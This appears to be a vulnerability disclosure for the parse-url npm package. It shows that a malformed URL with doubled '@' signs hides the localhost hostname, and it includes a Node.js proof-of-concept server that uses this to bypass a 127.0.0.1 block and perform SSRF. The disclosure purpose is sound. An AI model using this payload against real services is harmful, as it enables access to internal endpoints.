Hostname is not detected because of improper handling of username and password. (Based on real cases)
❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://google:com:@@localhost"))'
{
protocols: [ 'http' ],
protocol: 'http',
port: null,
resource: 'google:com:@@localhost',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http://google:com:@@localhost',
query: [Object: null prototype] {}
}
When receiving the above URL, the hostname is localhost, but it is not detected.
const parseUrl = require("parse-url");
const express = require('express');
const http = require('http');
const app = express();
const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1' ? true:false)
? next()
: res.json({'state':'You\'re not locally'});
parsed = parseUrl("http://google:com:@@127.0.0.1:9999/ssrf_check");
console.log(parsed);
app.get('/', (req, res) => {
if(parsed.resource == '127.0.0.1'){
res.send('Not good');
} else{
http.get(parsed.href)
res.send('Good');
}
});
app.get('/ssrf_check', isLocal(), (req, res) =>{
console.log('ssrf bypass');
res.send(true);
});
app.listen(9999);
The above PoC code forbids the use of 127.0.0.1 host. However, by using the above vulnerability, it is possible to bypass this and perform an SSRF attack.